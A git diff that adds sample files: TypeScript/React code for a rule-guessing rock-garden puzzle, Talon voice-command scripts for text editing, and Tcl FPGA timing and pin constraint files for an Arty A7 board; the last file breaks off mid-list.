+		for (var i = 0; i < arr.length; i++) {
+			rnd -= arr[i].weight;
+			if (rnd <= 0) return arr[i];
+		}
+		// Got destroyed by floating error, just try again
+		return randomWeightedElementOf(arr);
+	}
+
+	export function buildRandomNewSelector(maxPrecedence = 1000000): ProducedSelector {
+		var choices = SelectorTemplates;
+
+		let initial = randomWeightedElementOf(choices.filter(p => p.precedence <= maxPrecedence));
+		// Fill in the holes
+		if (initial.childTypes) {
+			var fills = initial.childTypes.map(h => {
+				if (h === PartType.Selector) {
+					return buildRandomNewSelector(initial.precedence - 1);
+				} else {
+					throw new Error('Only know how to fill Selector holes')
+				}
+			});
+			return buildSelector(initial, fills);
+		} else {
+			return buildSelector(initial, []);
+		}
+	}
+
+	export function makeEmptyGarden(): Garden {
+		var g = {} as Garden;
+		g.colors = [];
+		g.shapes = [];
+		for (var i = 0; i < Gardens.Size; i++) {
+			g.colors.push(Gardens.RockColor.Empty);
+			g.shapes.push(Gardens.RockShape.Empty);
+		}
+
+		return g;
+	}
+
+	export function gardenToString(g: Garden): string {
+		return g.colors.join('') + g.shapes.join('');
+	}
+
+	export function makeRandomGarden(): Garden {
+		var g = makeEmptyGarden();
+		blitRandomGardenPair(g, g);
+		return g;
+	}
+
+	export function cloneGarden(g: Garden): Garden {
+		var result: Garden = {
+			colors: g.colors.slice(0),
+			shapes: g.shapes.slice(0)
+		};
+		return result;
+	}
+
+	export function clearGarden(g: Garden) {
+		for (var i = 0; i < Gardens.Size; i++) {
+			g.colors[i] = Gardens.RockColor.Empty;
+			g.shapes[i] = Gardens.RockShape.Empty;
+		}
+	}
+
+	export function blitRandomGardenPair(g1: Garden, g2: Garden): void {
+		let placeCount = 0;
+		for (var i = 0; i < Gardens.Size; i++) {
+			if (rnd(7) === 0) {
+				g1.colors[i] = g2.colors[i] = randomColor();
+				g1.shapes[i] = g2.shapes[i] = randomShape();
+			} else {
+				placeCount++;
+				g1.colors[i] = g2.colors[i] = Gardens.RockColor.Empty;
+				g1.shapes[i] = g2.shapes[i] = Gardens.RockShape.Empty;
+			}
+		}
+		if (placeCount === 0) blitRandomGardenPair(g1, g2);
+	}
+
+	export function blitNumberedGarden(g: Garden, stoneCount: number, n: number): void {
+		clearGarden(g);
+
+		let cellNumbers = [0, 1, 2, 3, 4, 5, 6, 7, 8];
+		for (let i = 0; i < stoneCount; i++) {
+			let cellNum = getValue(cellNumbers.length);
+			let cell = cellNumbers.splice(cellNum, 1)[0];
+			g.colors[cell] = getValue(3) + 1;
+			g.shapes[cell] = getValue(3) + 1;
+		}
+
+		function getValue(max: number) {
+			let result = n % max;
+			n = (n - result) / max;
+			return result;
+		}
+	}
+
+	export function mutateGarden(g: Garden): void {
+		while (true) {
+			var op = rnd(5);
+			let x = rnd(Gardens.Size);
+			let y = rnd(Gardens.Size);
+			switch (op) {
+				case 0: // Swap two non-identical cells
+					if (g.colors[x] !== g.colors[y] || g.shapes[x] !== g.shapes[y]) {
+						var tmp: any = g.colors[x];
+						g.colors[x] = g.colors[y];
+						g.colors[y] = tmp;
+						tmp = g.shapes[x];
+						g.shapes[x] = g.shapes[y];
+						g.shapes[y] = tmp;
+						return;
+					}
+					break;
+				case 1: // Add a stone
+					if (g.colors[x] === Gardens.RockColor.Empty) {
+						g.colors[x] = randomColor();
+						g.shapes[x] = randomShape();
+						return;
+					}
+					break;
+				case 2: // Remove a stone
+					if (g.colors.filter(x => x !== Gardens.RockColor.Empty).length === 1) continue;
+
+					if (g.colors[x] !== Gardens.RockColor.Empty) {
+						g.colors[x] = Gardens.RockColor.Empty;
+						g.shapes[x] = Gardens.RockShape.Empty;
+						return;
+					}
+					break;
+				case 3: // Change a color
+					let c = randomColor();
+					if (g.colors[x] !== Gardens.RockColor.Empty && g.colors[x] !== c) {
+						g.colors[x] = c;
+						return;
+					}
+					break;
+				case 4: // Change a shape
+					let s = randomShape();
+					if (g.shapes[x] !== Gardens.RockShape.Empty && g.shapes[x] !== s) {
+						g.shapes[x] = s;
+						return;
+					}
+					break;
+			}
+		}
+	}
+}
+
+class Indexion {
+	sizes: number[];
+	constructor(...sizes: number[]) {
+		this.sizes = sizes;
+	}
+
+	public getValues(index: number): number[] {
+		let result = new Array<number>(this.sizes.length);
+		this.fillValues(index, result);
+		return result;
+	}
+
+	public fillValues(index: number, result: number[]): void {
+		for (var i = 0; i < this.sizes.length; i++) {
+			result[i] = index % this.sizes[i];
+			index -= result[i];
+			index /= this.sizes[i];
+		}
+	}
+
+	public valuesToIndex(values: number[]): number {
+		var result = 0;
+		var factor = 1;
+		for (var i = 0; i < this.sizes.length; i++) {
+			result += values[i] * this.sizes[i] * factor;
+			factor *= this.sizes[i];
+		}
+		return result;
+	}
+
+	public getAdjacentIndices(index: number): number[][] {
+		var baseline = this.getValues(index);
+		var results: number[][] = [];
+		for (var i = 0; i < this.sizes.length; i++) {
+			if(baseline[i] > 0) {
+				baseline[i]--;
+				results.push(baseline.slice());
+				baseline[i]++;
+			}
+			if(baseline[i] < this.sizes[i] - 1) {
+				baseline[i]++;
+				results.push(baseline.slice());
+				baseline[i]--;
+			}
+		}
+		return results;
+	}
+
+	public distance(index1: number, index2: number): number {
+		let delta = 0;
+		for (var i = 0; i < this.sizes.length; i++) {
+			var a = index1 % this.sizes[i];
+			var b = index2 % this.sizes[i];
+			delta += Math.abs(b - a);
+			index1 -= a;
+			index2 -= b;
+			index1 /= this.sizes[i];
+			index2 /= this.sizes[i];
+		}
+		return delta;
+	}
+}
+
+
+function makeNewExample() {
+	while (true) {
+		var p1 = Koan.buildSelector(Koan.SelectorTemplates[12], []);
+		var p2 = Koan.buildSelector(Koan.SelectorTemplates[14], []);
+		var test = Koan.buildStatement(Koan.StatementList[0], [p1, p2]);
+
+		var examples: Garden[] = [];
+
+		console.log('Attempt to generate examples for "' + test.description + '"');
+
+		var maxGarden = /*(9 * 9) + (9 * 9 * 9 * 8) + */(9 * 9 * 9 * 8 * 9 * 7);
+		let g = Koan.makeEmptyGarden();
+		let passCount = 0, failCount = 0;
+		let resultLookup: boolean[] = [];
+		let lastResult: boolean = undefined;
+		for (var i = 0; i < maxGarden; i++) {
+			Koan.blitNumberedGarden(g, 3, i);
+			let result = test.test(g);
+			if(result === Koan.StateTestResult.Pass) {
+				resultLookup[i] = true;
+				passCount++;
+
+				if (lastResult !== true && examples.length < 10) examples.push(Koan.cloneGarden(g));
+				lastResult = true;
+			} else if (result === Koan.StateTestResult.Fail) {
+				resultLookup[i] = false;
+				failCount++;
+
+				if (lastResult !== false && examples.length < 10) examples.push(Koan.cloneGarden(g));
+				lastResult = false;
+			}
+
+			if (examples.length === 10) break;
+		}
+
+		console.log('Rule passes ' + passCount + ' and fails ' + failCount);
+
+		/*
+		if (!test.hasPassedAndFailed()) {
+			console.log('Rule has unreachable, contradictory, or tautological clauses');
+			continue;
+		}
+
+		if (passCount === 0 || failCount === 0) {
+			console.log('Rule is always true or always false');
+			continue;
+		}
+		*/
+
+		var h = document.createElement('h2');
+		h.innerText = test.description;
+		document.body.appendChild(h);
+
+		return { test: test, examples: examples };
+	}
+}
+
+let list: Garden[] = [];
+let test: Koan.ProducedStatement<any>;
+window.onload = function() {
+	let rule = makeNewExample();
+	let garden = Koan.makeRandomGarden();
+	list = rule.examples;
+	test = rule.test;
+
+	function renderList() {
+		function makeGarden(g: Garden, i: number) {
+			return <GardenDisplay
+				garden={g}
+				key={i + Koan.gardenToString(g)}
+				test={test}
+				leftButton='✗'
+				rightButton='✎'
+				onLeftButtonClicked={() => {
+					console.log(list.indexOf(g));
+					list.splice(list.indexOf(g), 1);
+					renderList();
+				}}
+				onRightButtonClicked={() => {
+					garden = g;
+					renderEditor();
+				}}
+			/>;
+		}
+		let gardenList = <div>{list.map(makeGarden)}</div>;
+		React.render(gardenList, document.getElementById('results'));
+	}
+
+	let i = 0;
+	function renderEditor() {
+		i++;
+		let editor = <GardenEditor key={i} test={rule.test} garden={garden} onSaveClicked={(garden) => {
+			list.push(garden);
+			renderList();
+		}} />;
+		React.render(editor, document.getElementById('editor'));
+	}
+
+	renderList();
+	renderEditor();
+}
+
+function classNames(nameMap: any): string {
+	return Object.keys(nameMap).filter(k => nameMap[k]).join(' ');
+}
+
+interface GardenCellProps extends React.Props<{}> {
+	color: Gardens.RockColor;
+	shape: Gardens.RockShape;
+	index: number;
+
+	movable?: boolean;
+	onEdit?(newColor: Gardens.RockColor, newShape: Gardens.RockShape): void;
+}
+interface GardenCellState {
+	isDragging?: boolean;
+}
+class GardenCell extends React.Component<GardenCellProps, GardenCellState> {
+	state: GardenCellState = {};
+	ignoreNextEdit = false;
+
+	render() {
+		var classes = ['cell', 'index_' + this.props.index];
+
+		if (this.state.isDragging) {
+			// Render as blank
+		} else {
+			classes.push(Gardens.RockColor[this.props.color], Gardens.RockShape[this.props.shape]);
+		}
+
+		if (this.props.movable) classes.push('movable');
+		let events: React.HTMLAttributes = {
+			onDragStart: (e) => {
+				this.ignoreNextEdit = false;
+				e.dataTransfer.dropEffect = 'copyMove';
+				e.dataTransfer.effectAllowed = 'move';
+				e.dataTransfer.setData('shape', this.props.shape.toString());
+				e.dataTransfer.setData('color', this.props.color.toString());
+
+				let drag = document.getElementById(getGardenName(this.props.color, this.props.shape));
+				let xfer: any = (e.nativeEvent as DragEvent).dataTransfer;
+				xfer.setDragImage(drag, drag.clientWidth * 0.5, drag.clientHeight * 0.5);
+
+				this.setState({ isDragging: true });
+			},
+			onDragEnter: (e) => {
+				e.dataTransfer.dropEffect = 'move';
+				e.preventDefault();
+			},
+			onDragOver: (e) => {
+				e.dataTransfer.dropEffect = 'move';
+				e.preventDefault();
+			},
+			onDragEnd: (e) => {
+				this.setState({ isDragging: false });
+				if (!this.ignoreNextEdit) {
+					this.props.onEdit && this.props.onEdit(undefined, undefined);
+				}
+			},
+			draggable: true
+		}
+
+		let handleDrop = (event: React.DragEvent) => {
+			if(this.props.onEdit) {
+				if (this.state.isDragging) {
+					// Dragged to self, don't do anything
+					this.ignoreNextEdit = true;
+				} else {
+					let shape: Gardens.RockShape = +event.dataTransfer.getData('shape');
+					let color: Gardens.RockColor = +event.dataTransfer.getData('color');
+					this.props.onEdit(color, shape);
+				}
+			}
+		}
+
+		return <span className={classes.join(' ')} onDrop={handleDrop} {...this.props.movable ? events : {}} />;
+	}
+}
+
+interface GardenDisplayProps extends React.Props<GardenDisplay> {
+	garden?: Garden;
+	test?: Koan.ProducedStatement<any>;
+
+	leftButton?: string;
+	rightButton?: string;
+	onLeftButtonClicked?(): void;
+	onRightButtonClicked?(): void;
+
+	editable?: boolean;
+	onChanged?(newGarden: Garden): void;
+}
+interface GardenDisplayState {
+	garden?: Garden;
+}
+class GardenDisplay extends React.Component<GardenDisplayProps, GardenDisplayState> {
+	state = {
+		garden: Koan.cloneGarden(this.props.garden)
+	};
+
+	leftClicked = () => {
+		this.props.onLeftButtonClicked && this.props.onLeftButtonClicked();
+	};
+
+	rightClicked = () => {
+		this.props.onRightButtonClicked && this.props.onRightButtonClicked();
+	};
+
+	render() {
+		let g = this.state.garden;
+		let pass = (this.props.test && this.props.test.test(this.state.garden));
+
+		let classes = {
+			garden: true,
+			unknown: pass === undefined,
+			pass: pass === Koan.StateTestResult.Pass || pass === Koan.StateTestResult.WeakPass,
+			fail: pass === Koan.StateTestResult.Fail,
+			editable: this.props.editable
+		};
+
+		var children = g.colors.map((_, i) => (
+			<GardenCell
+				key={i}
+				color={g.colors[i]}
+				shape={g.shapes[i]}
+				index={i}
+				movable={this.props.editable}
+				onEdit={(newColor, newShape) => {
+					if(this.props.editable) {
+						let newGarden = Koan.cloneGarden(this.state.garden);
+						newGarden.colors[i] = newColor;
+						newGarden.shapes[i] = newShape;
+						this.setState({ garden: newGarden });
+						this.props.onChanged && this.props.onChanged(newGarden);
+					}
+				}}
+			/>));
+
+		return <div className="gardenDisplay">
+			<div className={classNames(classes)}>{children}</div>
+			<span className="infoRow">
+				{this.props.leftButton && <div className="button left" onClick={this.leftClicked}>{this.props.leftButton}</div>}
+				<div className={"passfail " + (pass ? 'pass' : 'fail')}>{pass ? '✓' : '🚫'}</div>
+				{this.props.rightButton && <div className="button right" onClick={this.rightClicked}>{this.props.rightButton}</div>}
+			</span>
+		</div>;
+	}
+}
+
+interface GardenEditorProps extends React.Props<GardenEditor> {
+	onSaveClicked?(garden: Garden): void;
+	test?: Koan.ProducedStatement<any>;
+	garden?: Garden;
+}
+interface GardenEditorState {
+	garden?: Garden;
+	pass?: boolean;
+}
+class GardenEditor extends React.Component<GardenEditorProps, {}> {
+	state = { garden: this.props.garden };
+
+	save = () => {
+		this.props.onSaveClicked && this.props.onSaveClicked(this.state.garden);
+	};
+
+	render() {
+		return <div className="editor">
+			<GardenDisplay garden={this.state.garden} test={this.props.test} editable onChanged={g => this.setState({ garden: g }) } />
+			<StonePalette />
+			<div className="button save" onClick={this.save}>{'💾'}</div>
+		</div>;
+	}
+}
+
+class StonePalette extends React.Component<{}, {}> {
+	render() {
+		let items: JSX.Element[] = [];
+		Gardens.RockColors.forEach(color => {
+			Gardens.RockShapes.forEach(shape => {
+				let name = getGardenName(color, shape);
+				let extraProps = { id: name, key: name };
+				let index = items.length;
+				items.push(<GardenCell
+					color={color}
+					shape={shape}
+					index={index}
+					movable
+					{...extraProps} />)
+			});
+		});
+		return <div className="palette">{items}</div>;
+	}
+}
+
+function getGardenName(color: Gardens.RockColor, shape: Gardens.RockShape) {
+	return 'draggable.' + Gardens.RockShape[shape] + '.' + Gardens.RockColor[color];
+}
+
+
diff --git a/samples/Talon/find_and_replace.talon b/samples/Talon/find_and_replace.talon
new file mode 100644
index 0000000000..b941721149
--- /dev/null
+++ b/samples/Talon/find_and_replace.talon
@@ -0,0 +1,88 @@
+tag: user.find_and_replace
+-
+hunt this: user.find("")
+hunt this <user.text>: user.find(text)
+hunt all: user.find_everywhere("")
+hunt all <user.text>: user.find_everywhere(text)
+hunt case : user.find_toggle_match_by_case()
+hunt word : user.find_toggle_match_by_word()
+hunt expression : user.find_toggle_match_by_regex()
+hunt next: user.find_next()
+hunt previous: user.find_previous()
+replace this [<user.text>]: user.replace(text or "")
+replace all: user.replace_everywhere("")
+replace <user.text> all: user.replace_everywhere(text)
+replace confirm that: user.replace_confirm()
+replace confirm all: user.replace_confirm_all()
+
+#quick replace commands, modeled after jetbrains
+clear last <user.text> [over]: 
+    user.select_previous_occurrence(text)
+    sleep(100ms)
+    edit.delete()
+clear next <user.text> [over]: 
+    user.select_next_occurrence(text)
+    sleep(100ms)
+    edit.delete()
+clear last clip: 
+    user.select_previous_occurrence(clip.text())
+    edit.delete()
+clear next clip: 
+    user.select_next_occurrence(clip.text())
+    sleep(100ms)
+    edit.delete()
+comment last <user.text> [over]: 
+    user.select_previous_occurrence(text)
+    sleep(100ms)
+    code.toggle_comment()
+comment last clip: 
+    user.select_previous_occurrence(clip.text())
+    sleep(100ms)
+    code.toggle_comment()
+comment next <user.text> [over]: 
+    user.select_next_occurrence(text)
+    sleep(100ms)
+    code.toggle_comment()
+comment next clip: 
+    user.select_next_occurrence(clip.text())
+    sleep(100ms)
+    code.toggle_comment()
+go last <user.text> [over]: 
+    user.select_previous_occurrence(text)
+    sleep(100ms)
+    edit.right()
+go last clip: 
+    user.select_previous_occurrence(clip.text())
+    sleep(100ms)
+    edit.right()
+go next <user.text> [over]: 
+    user.select_next_occurrence(text)
+    edit.right()
+go next clip: 
+    user.select_next_occurrence(clip.text())
+    edit.right()
+paste last <user.text> [over]: 
+    user.select_previous_occurrence(text)
+    sleep(100ms)
+    edit.right()
+    edit.paste()
+paste next <user.text> [over]: 
+    user.select_next_occurrence(text)
+    sleep(100ms)
+    edit.right()
+    edit.paste()
+replace last <user.text> [over]: 
+    user.select_previous_occurrence(text)
+    sleep(100ms)
+    edit.paste()
+replace next <user.text> [over]:
+    user.select_next_occurrence(text)
+    sleep(100ms)
+    edit.paste()
+select last <user.text> [over]: user.select_previous_occurrence(text)
+select next <user.text> [over]: user.select_next_occurrence(text)
+select last clip: user.select_previous_occurrence(clip.text())
+select next clip: user.select_next_occurrence(clip.text())
+
+
+
diff --git a/samples/Talon/line_commands.talon b/samples/Talon/line_commands.talon
new file mode 100644
index 0000000000..75f2872be6
--- /dev/null
+++ b/samples/Talon/line_commands.talon
@@ -0,0 +1,73 @@
+tag: user.line_commands
+-
+#this defines some common line commands. More may be defined that are ide-specific.
+lend: edit.line_end()
+bend: edit.line_start()
+go <number>: edit.jump_line(number)
+go <number> end: 
+    edit.jump_line(number)
+    edit.line_end()
+comment [line] <number>:
+    user.select_range(number, number)
+    code.toggle_comment()
+comment <number> until <number>: 
+    user.select_range(number_1, number_2)
+    code.toggle_comment()
+clear [line] <number>:
+    edit.jump_line(number)
+    user.select_range(number, number)
+    edit.delete()
+clear <number> until <number>: 
+    user.select_range(number_1, number_2)
+    edit.delete()
+copy [line] <number>: 
+    user.select_range(number, number)
+    edit.copy()
+copy <number> until <number>: 
+    user.select_range(number_1, number_2)
+    edit.copy()
+cut [line] <number>: 
+    user.select_range(number, number)
+    edit.cut()
+cut [line] <number> until <number>: 
+    user.select_range(number_1, number_2)
+    edit.cut()
+(paste | replace) <number> until <number>:
+    user.select_range(number_1, number_2)
+    edit.paste()
+(select | cell | sell) [line] <number>: user.select_range(number, number)
+(select | cell | sell) <number> until <number>: user.select_range(number_1, number_2)
+tab that: edit.indent_more()
+tab [line] <number>:
+    edit.jump_line(number)
+    edit.indent_more()
+tab <number> until <number>:
+    user.select_range(number_1, number_2)
+    edit.indent_more()
+retab that: edit.indent_less()
+retab [line] <number>:
+    user.select_range(number, number)
+    edit.indent_less()
+retab <number> until <number>:
+    user.select_range(number_1, number_2)
+    edit.indent_less()
+drag [line] down: edit.line_swap_down()
+drag [line] up: edit.line_swap_up()
+drag up [line] <number>:
+    user.select_range(number, number)
+    edit.line_swap_up()
+drag up <number> until <number>: 
+    user.select_range(number_1, number_2)
+    edit.line_swap_up()
+drag down [line] <number>: 
+    user.select_range(number, number)
+    edit.line_swap_down()
+drag down <number> until <number>: 
+    user.select_range(number_1, number_2)
+    edit.line_swap_down()
+clone (line|that): edit.line_clone()
+
+select camel left: user.extend_camel_left()
+select camel right: user.extend_camel_right()
+go camel left: user.camel_left()
+go camel right: user.camel_right()
diff --git a/samples/Tcl/constraints.sdc b/samples/Tcl/constraints.sdc
new file mode 100644
index 0000000000..a35d5aa66a
--- /dev/null
+++ b/samples/Tcl/constraints.sdc
@@ -0,0 +1,26 @@
+#
+# Software License Agreement (MIT License)
+#
+# Copyright (c) 2018, DUKELEC, Inc.
+# All rights reserved.
+#
+# Author: Duke Fong <duke@dukelec.com>
+#
+
+create_clock -name "clk_50m" -period 20ns [get_ports gclk]
+
+create_clock -period "100 MHz" -name {refclk_pci_express} {pcie_refclk}
+create_clock -name "clk_app_62.5m" -period 16ns inst|pcie_ip|pcie_internal_hip|cyclone_iii.cycloneiv_hssi_pcie_hip|coreclkout
+
+derive_pll_clocks -create_base_clocks
+derive_clock_uncertainty
+
+set_clock_groups -asynchronous \
+        -group {clk_50m} \
+        -group {altpll_top|altpll_component|auto_generated|pll1|clk[0]} \
+        -group {altpll_top|altpll_component|auto_generated|pll1|clk[1]} \
+        -group {cdctl_sys_m|pcie_ip|pcie_internal_hip|cyclone_iii.cycloneiv_hssi_pcie_hip|coreclkout} \
+        -group {refclk_pci_express}
+
+set_false_path -from [get_ports {pcie_rx rst_n pio_0_pins[*]}] -to *
+set_false_path -from * -to [get_ports {pcie_tx led0 pio_0_pins[*]}]
diff --git a/samples/Tcl/constraints.xdc b/samples/Tcl/constraints.xdc
new file mode 100644
index 0000000000..ee45b71c80
--- /dev/null
+++ b/samples/Tcl/constraints.xdc
@@ -0,0 +1,218 @@
+# MIT License
+# Copyright (c) 2017 Digilent
+# This file is a general .xdc for the Arty A7-100 Rev. D and Rev. E
+# To use it in a project:
+# - uncomment the lines corresponding to used pins
+# - rename the used ports (in each line, after get_ports) according to the top level signal names in the project
+
+# Clock signal
+set_property -dict { PACKAGE_PIN E3    IOSTANDARD LVCMOS33 } [get_ports { CLK100MHZ }]; #IO_L12P_T1_MRCC_35 Sch=gclk[100]
+create_clock -add -name sys_clk_pin -period 10.00 -waveform {0 5} [get_ports { CLK100MHZ }];
+
+# Switches
+set_property -dict { PACKAGE_PIN A8    IOSTANDARD LVCMOS33 } [get_ports { sw[0] }]; #IO_L12N_T1_MRCC_16 Sch=sw[0]
+set_property -dict { PACKAGE_PIN C11   IOSTANDARD LVCMOS33 } [get_ports { sw[1] }]; #IO_L13P_T2_MRCC_16 Sch=sw[1]
+set_property -dict { PACKAGE_PIN C10   IOSTANDARD LVCMOS33 } [get_ports { sw[2] }]; #IO_L13N_T2_MRCC_16 Sch=sw[2]
+set_property -dict { PACKAGE_PIN A10   IOSTANDARD LVCMOS33 } [get_ports { sw[3] }]; #IO_L14P_T2_SRCC_16 Sch=sw[3]
+
+# RGB LEDs
+set_property -dict { PACKAGE_PIN E1    IOSTANDARD LVCMOS33 } [get_ports { led0_b }]; #IO_L18N_T2_35 Sch=led0_b
+set_property -dict { PACKAGE_PIN F6    IOSTANDARD LVCMOS33 } [get_ports { led0_g }]; #IO_L19N_T3_VREF_35 Sch=led0_g
+set_property -dict { PACKAGE_PIN G6    IOSTANDARD LVCMOS33 } [get_ports { led0_r }]; #IO_L19P_T3_35 Sch=led0_r
+set_property -dict { PACKAGE_PIN G4    IOSTANDARD LVCMOS33 } [get_ports { led1_b }]; #IO_L20P_T3_35 Sch=led1_b
+set_property -dict { PACKAGE_PIN J4    IOSTANDARD LVCMOS33 } [get_ports { led1_g }]; #IO_L21P_T3_DQS_35 Sch=led1_g
+set_property -dict { PACKAGE_PIN G3    IOSTANDARD LVCMOS33 } [get_ports { led1_r }]; #IO_L20N_T3_35 Sch=led1_r
+set_property -dict { PACKAGE_PIN H4    IOSTANDARD LVCMOS33 } [get_ports { led2_b }]; #IO_L21N_T3_DQS_35 Sch=led2_b
+set_property -dict { PACKAGE_PIN J2    IOSTANDARD LVCMOS33 } [get_ports { led2_g }]; #IO_L22N_T3_35 Sch=led2_g
+set_property -dict { PACKAGE_PIN J3    IOSTANDARD LVCMOS33 } [get_ports { led2_r }]; #IO_L22P_T3_35 Sch=led2_r
+set_property -dict { PACKAGE_PIN K2    IOSTANDARD LVCMOS33 } [get_ports { led3_b }]; #IO_L23P_T3_35 Sch=led3_b
+set_property -dict { PACKAGE_PIN H6    IOSTANDARD LVCMOS33 } [get_ports { led3_g }]; #IO_L24P_T3_35 Sch=led3_g
+set_property -dict { PACKAGE_PIN K1    IOSTANDARD LVCMOS33 } [get_ports { led3_r }]; #IO_L23N_T3_35 Sch=led3_r
+
+# LEDs
+set_property -dict { PACKAGE_PIN H5    IOSTANDARD LVCMOS33 } [get_ports { led[0] }]; #IO_L24N_T3_35 Sch=led[4]
+set_property -dict { PACKAGE_PIN J5    IOSTANDARD LVCMOS33 } [get_ports { led[1] }]; #IO_25_35 Sch=led[5]
+set_property -dict { PACKAGE_PIN T9    IOSTANDARD LVCMOS33 } [get_ports { led[2] }]; #IO_L24P_T3_A01_D17_14 Sch=led[6]
+set_property -dict { PACKAGE_PIN T10   IOSTANDARD LVCMOS33 } [get_ports { led[3] }]; #IO_L24N_T3_A00_D16_14 Sch=led[7]
+
+# Buttons
+set_property -dict { PACKAGE_PIN D9    IOSTANDARD LVCMOS33 } [get_ports { btn[0] }]; #IO_L6N_T0_VREF_16 Sch=btn[0]
+set_property -dict { PACKAGE_PIN C9    IOSTANDARD LVCMOS33 } [get_ports { btn[1] }]; #IO_L11P_T1_SRCC_16 Sch=btn[1]
+set_property -dict { PACKAGE_PIN B9    IOSTANDARD LVCMOS33 } [get_ports { btn[2] }]; #IO_L11N_T1_SRCC_16 Sch=btn[2]
+set_property -dict { PACKAGE_PIN B8    IOSTANDARD LVCMOS33 } [get_ports { btn[3] }]; #IO_L12P_T1_MRCC_16 Sch=btn[3]
+
+# Pmod Header JA
+set_property -dict { PACKAGE_PIN G13   IOSTANDARD LVCMOS33 } [get_ports { ja[0] }]; #IO_0_15 Sch=ja[1]
+set_property -dict { PACKAGE_PIN B11   IOSTANDARD LVCMOS33 } [get_ports { ja[1] }]; #IO_L4P_T0_15 Sch=ja[2]
+set_property -dict { PACKAGE_PIN A11   IOSTANDARD LVCMOS33 } [get_ports { ja[2] }]; #IO_L4N_T0_15 Sch=ja[3]
+set_property -dict { PACKAGE_PIN D12   IOSTANDARD LVCMOS33 } [get_ports { ja[3] }]; #IO_L6P_T0_15 Sch=ja[4]
+set_property -dict { PACKAGE_PIN D13   IOSTANDARD LVCMOS33 } [get_ports { ja[4] }]; #IO_L6N_T0_VREF_15 Sch=ja[7]
+set_property -dict { PACKAGE_PIN B18   IOSTANDARD LVCMOS33 } [get_ports { ja[5] }]; #IO_L10P_T1_AD11P_15 Sch=ja[8]
+set_property -dict { PACKAGE_PIN A18   IOSTANDARD LVCMOS33 } [get_ports { ja[6] }]; #IO_L10N_T1_AD11N_15 Sch=ja[9]
+set_property -dict { PACKAGE_PIN K16   IOSTANDARD LVCMOS33 } [get_ports { ja[7] }]; #IO_25_15 Sch=ja[10]
+
+# Pmod Header JB
+set_property -dict { PACKAGE_PIN E15   IOSTANDARD LVCMOS33 } [get_ports { jb[0] }]; #IO_L11P_T1_SRCC_15 Sch=jb_p[1]
+set_property -dict { PACKAGE_PIN E16   IOSTANDARD LVCMOS33 } [get_ports { jb[1] }]; #IO_L11N_T1_SRCC_15 Sch=jb_n[1]
+set_property -dict { PACKAGE_PIN D15   IOSTANDARD LVCMOS33 } [get_ports { jb[2] }]; #IO_L12P_T1_MRCC_15 Sch=jb_p[2]
+set_property -dict { PACKAGE_PIN C15   IOSTANDARD LVCMOS33 } [get_ports { jb[3] }]; #IO_L12N_T1_MRCC_15 Sch=jb_n[2]
+set_property -dict { PACKAGE_PIN J17   IOSTANDARD LVCMOS33 } [get_ports { jb[4] }]; #IO_L23P_T3_FOE_B_15 Sch=jb_p[3]
+set_property -dict { PACKAGE_PIN J18   IOSTANDARD LVCMOS33 } [get_ports { jb[5] }]; #IO_L23N_T3_FWE_B_15 Sch=jb_n[3]
+set_property -dict { PACKAGE_PIN K15   IOSTANDARD LVCMOS33 } [get_ports { jb[6] }]; #IO_L24P_T3_RS1_15 Sch=jb_p[4]
+set_property -dict { PACKAGE_PIN J15   IOSTANDARD LVCMOS33 } [get_ports { jb[7] }]; #IO_L24N_T3_RS0_15 Sch=jb_n[4]
+
+# Pmod Header JC
+set_property -dict { PACKAGE_PIN U12   IOSTANDARD LVCMOS33 } [get_ports { jc[0] }]; #IO_L20P_T3_A08_D24_14 Sch=jc_p[1]
+set_property -dict { PACKAGE_PIN V12   IOSTANDARD LVCMOS33 } [get_ports { jc[1] }]; #IO_L20N_T3_A07_D23_14 Sch=jc_n[1]
+set_property -dict { PACKAGE_PIN V10   IOSTANDARD LVCMOS33 } [get_ports { jc[2] }]; #IO_L21P_T3_DQS_14 Sch=jc_p[2]
+set_property -dict { PACKAGE_PIN V11   IOSTANDARD LVCMOS33 } [get_ports { jc[3] }]; #IO_L21N_T3_DQS_A06_D22_14 Sch=jc_n[2]
+set_property -dict { PACKAGE_PIN U14   IOSTANDARD LVCMOS33 } [get_ports { jc[4] }]; #IO_L22P_T3_A05_D21_14 Sch=jc_p[3]
+set_property -dict { PACKAGE_PIN V14   IOSTANDARD LVCMOS33 } [get_ports { jc[5] }]; #IO_L22N_T3_A04_D20_14 Sch=jc_n[3]
+set_property -dict { PACKAGE_PIN T13   IOSTANDARD LVCMOS33 } [get_ports { jc[6] }]; #IO_L23P_T3_A03_D19_14 Sch=jc_p[4]
+set_property -dict { PACKAGE_PIN U13   IOSTANDARD LVCMOS33 } [get_ports { jc[7] }]; #IO_L23N_T3_A02_D18_14 Sch=jc_n[4]
+
+# Pmod Header JD
+set_property -dict { PACKAGE_PIN D4    IOSTANDARD LVCMOS33 } [get_ports { jd[0] }]; #IO_L11N_T1_SRCC_35 Sch=jd[1]
+set_property -dict { PACKAGE_PIN D3    IOSTANDARD LVCMOS33 } [get_ports { jd[1] }]; #IO_L12N_T1_MRCC_35 Sch=jd[2]
+set_property -dict { PACKAGE_PIN F4    IOSTANDARD LVCMOS33 } [get_ports { jd[2] }]; #IO_L13P_T2_MRCC_35 Sch=jd[3]
+set_property -dict { PACKAGE_PIN F3    IOSTANDARD LVCMOS33 } [get_ports { jd[3] }]; #IO_L13N_T2_MRCC_35 Sch=jd[4]
+set_property -dict { PACKAGE_PIN E2    IOSTANDARD LVCMOS33 } [get_ports { jd[4] }]; #IO_L14P_T2_SRCC_35 Sch=jd[7]
+set_property -dict { PACKAGE_PIN D2    IOSTANDARD LVCMOS33 } [get_ports { jd[5] }]; #IO_L14N_T2_SRCC_35 Sch=jd[8]
+set_property -dict { PACKAGE_PIN H2    IOSTANDARD LVCMOS33 } [get_ports { jd[6] }]; #IO_L15P_T2_DQS_35 Sch=jd[9]
+set_property -dict { PACKAGE_PIN G2    IOSTANDARD LVCMOS33 } [get_ports { jd[7] }]; #IO_L15N_T2_DQS_35 Sch=jd[10]
+
+# USB-UART Interface
+set_property -dict { PACKAGE_PIN D10   IOSTANDARD LVCMOS33 } [get_ports { uart_rxd_out }]; #IO_L19N_T3_VREF_16 Sch=uart_rxd_out
+set_property -dict { PACKAGE_PIN A9    IOSTANDARD LVCMOS33 } [get_ports { uart_txd_in }]; #IO_L14N_T2_SRCC_16 Sch=uart_txd_in
+
+# ChipKit Outer Digital Header
+set_property -dict { PACKAGE_PIN V15   IOSTANDARD LVCMOS33 } [get_ports { ck_io0  }]; #IO_L16P_T2_CSI_B_14 Sch=ck_io[0]
